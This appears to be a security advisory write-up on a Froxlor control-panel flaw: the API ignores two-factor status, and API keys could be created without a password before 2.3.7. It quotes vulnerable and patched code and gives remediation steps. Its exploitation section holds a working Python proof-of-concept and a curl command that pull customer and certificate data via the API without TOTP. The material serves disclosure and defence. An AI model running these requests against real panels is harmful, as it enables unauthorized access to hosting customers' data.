Jun 3, 2026·5 min read·13 visits
Froxlor's API endpoint completely omits Two-Factor Authentication status checks. Attackers possessing an API key can execute administrative commands on 2FA-protected accounts. Additionally, versions prior to 2.3.7 allowed passwordless generation of these keys.
An architectural flaw in the Froxlor server administration control panel allows attackers to completely bypass Two-Factor Authentication (2FA) by issuing commands directly through the API. The API authentication routine in 'FroxlorRPC::validateAuth' fails to check the account's 2FA status, enabling arbitrary execution of administrative and customer actions. Furthermore, in versions prior to 2.3.7, API keys could be created without validating the current user password, exposing users to persistent backdoor access via session hijacking or CSRF.
Froxlor is an open-source server administration control panel used to manage web hosting environments. The software implements two main communication vectors for administrative and customer actions: an interactive web-based User Interface (UI) and a programmatic API endpoint located at /api.php.
While the web UI enforces Two-Factor Authentication (2FA) via time-based one-time passwords (TOTP), the programmatic API relies on key-based authentication. This multi-channel architecture introduces a security mismatch if authorization logic is not kept consistent across both channels.
The vulnerability cataloged under GHSA-F9RX-7WF7-JR36 details an authentication bypass flaw within the API subsystem. Because the API route does not verify the active 2FA state of an account, an attacker possessing an API key can completely bypass MFA, exposing a broad administrative attack surface.
The fundamental flaw resides within the API authentication routine implemented in lib/Froxlor/Api/FroxlorRPC.php inside the private static method validateAuth.
When a request is submitted to /api.php, authentication parameters are evaluated. The verification routine queries the database to match the incoming key and secret, verifying permissions and expiration parameters:
private static function validateAuth(string $key, string $secret): bool
{
$sel_stmt = Database::prepare("
SELECT ak.*, a.api_allowed as admin_api_allowed,
c.api_allowed as cust_api_allowed, c.deactivated
FROM `api_keys` ak
LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
WHERE `apikey` = :ak AND `secret` = :as
");
// ... checks expiration and permissions ...
}This validation process confirms key validity but completely neglects the type_2fa column or TOTP state of the associated user. Thus, the database query checks permission flags but omits multi-factor authentication constraints.
This behavior is compounded by a flaw in api_keys.php where users could generate API keys without re-entering their account password. Consequently, an attacker utilizing Cross-Site Request Forgery (CSRF) or a hijacked session could generate persistent API credentials to establish a permanent backdoor.
In versions of Froxlor prior to 2.3.7, creating a new API key in api_keys.php only required a simple POST request with a confirmation token, lacking authentication checks:
// Vulnerable logic in api_keys.php
} elseif ($action == 'add') {
if (Request::post('send') == 'send') {
$ins_stmt = Database::prepare("
INSERT INTO `" . TABLE_API_KEYS . "` SET
`apikey` = :key, `secret` = :secret, `adminid` = :aid, `customerid` = :cid, `valid_until` = '-1', `allowed_from` = ''
");To remediate this key-generation vector, the maintainers implemented password verification inside the key generation path of version 2.3.7:
// Patched logic in api_keys.php
$user_passwd = Request::post('user_password');
if (empty($user_passwd)) {
Response::dynamicError(lng('panel.noauthentication'));
}
if ($userinfo['adminsession']) {
$table = "`" . TABLE_PANEL_ADMINS . "`";
$uid = 'adminid';
} else {
$table = "`" . TABLE_PANEL_CUSTOMERS . "`";
$uid = 'customerid';
}
if (\Froxlor\System\Crypt::validatePasswordLogin($userinfo, $user_passwd, $table, $uid)) {
// Cryptographically secure API key generation follows
$key = hash('sha256', openssl_random_pseudo_bytes(64 * 64));
$secret = hash('sha512', openssl_random_pseudo_bytes(64 * 64 * 4));
// ... database insert executes ...
} else {
Response::dynamicError(lng('panel.authenticationfailed'));
}While this fix prevents unauthorized creation of new API keys via CSRF or hijacked sessions, the underlying architectural bypass remains if an existing API key is exposed. The API route itself does not incorporate a secondary factor, meaning any leaked key continues to offer 2FA-bypass access by design.
An attacker can exploit this vulnerability by routing requests directly to the API endpoint, completely bypassing the interactive 2FA checks on /index.php.
To demonstrate this bypass, an attacker can use the following Python script to retrieve customer listings from a 2FA-protected account without supplying a TOTP token:
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target_url> <api_key> <api_secret>")
sys.exit(1)
target = sys.argv[1].rstrip('/')
key = sys.argv[2]
secret = sys.argv[3]
api_url = f"{target}/api.php"
payload = {"command": "Customers.listing", "params": {}}
try:
r = requests.post(api_url, auth=(key, secret), json=payload, verify=False, timeout=10)
data = r.json()
if "data" in data and "list" in data["data"]:
print(f"[+] Success: Bypassed 2FA. Retrieved records:")
for customer in data["data"]["list"]:
print(f"Username: {customer.get('loginname')} | Email: {customer.get('email')}")
except Exception as e:
print(f"[-] Error: {e}")Alternatively, direct commands can be sent using curl to extract database credentials or certificates:
curl -s -u "KEY:SECRET" -H "Content-Type: application/json" -d '{"command":"Certificates.listing","params":{}}' https://panel.example.com/api.phpThe impact of this authentication bypass is high because the Froxlor API exposes more than 165 functions. This exposure grants a threat actor extensive read and write capabilities over the hosting platform.
Attackers can modify DNS zone files to conduct domain hijacking, read database access details, alter mail routing, and exfiltrate customer databases. Access to SSL private keys is also possible through the API.
In multi-tenant shared-hosting deployments, compromising a single administrative credential grants full control over other hosted customers, making this vulnerability highly consequential for hosting providers.
To fully resolve this security issue, administrators must upgrade Froxlor to version 2.3.7 or higher, which introduces password-validation checks for API key generation.
After applying the update, administrators must conduct an audit of all active API keys. It is recommended to revoke and regenerate existing API credentials, particularly for accounts utilizing 2FA.
Where upgrading cannot be performed immediately, administrators should implement IP whitelisting or disable access to /api.php at the web server configuration level to restrict API usage to authorized origins.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Froxlor Froxlor | < 2.3.7 | 2.3.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-287 |
| Attack Vector | Network |
| CVSS v3.1 | 8.1 |
| Exploit Status | Proof of Concept |
| KEV Status | Not Listed |
The software does not prove or insufficiently proves that a user is who they claim to be.
A security control bypass vulnerability in MLflow allows remote attackers to execute arbitrary code on a system running MLflow when loading a crafted model artifact. The security control MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False, which restricts loading unsafe pickle-based models, can be bypassed by specifying the mlflow.statsmodels model flavor in the model's configuration.
An uncontrolled resource consumption vulnerability (CWE-770) in the browserslist NPM package prior to version 4.28.7 allows remote unauthenticated attackers to cause an Out-Of-Memory (OOM) application crash. Because the in-memory cache implementation lacks limits or eviction logic, supplying unique browser queries triggers linear heap memory growth.
An in-depth analysis of CVE-2026-81889, a critical Server-Side Request Forgery (SSRF) vulnerability in the remote URL upload component of elFinder web file manager before version 2.1.70. The flaw leverages DNS rebinding due to insecure socket fallbacks when the PHP cURL extension is missing, resulting in access to internal network resources and local loopback services.
A critical algorithmic complexity Denial of Service (DoS) vulnerability exists in the npm package decode-uri-component versions 0.1.0 through 0.4.1. The package employs an inefficient, high-complexity recursive mechanism when processing invalid percent-encoded sequences, such as isolated continuation bytes. An attacker can exploit this behavior by sending malformed strings, causing the Node.js event loop to block entirely and exhausting CPU resources. This vulnerability is resolved in version 0.5.0 by replacing the recursive parser with a single-pass, linear scanning algorithm.
A critical path traversal vulnerability was discovered in the Kirby CMS media component. Prior to versions 4.9.5 and 5.5.2, Kirby failed to validate path-traversal indicators in requested filenames, allowing attackers to check for the existence of local JSON files, delete them, or bypass directory prefix containment logic under certain web server configurations.
A missing authorization vulnerability (CWE-862) in Kirby CMS (versions 5.0.0 through 5.5.1) allows low-privileged authenticated users with Panel access to write temporary chunk files to disk, leading to potential Denial of Service via storage exhaustion.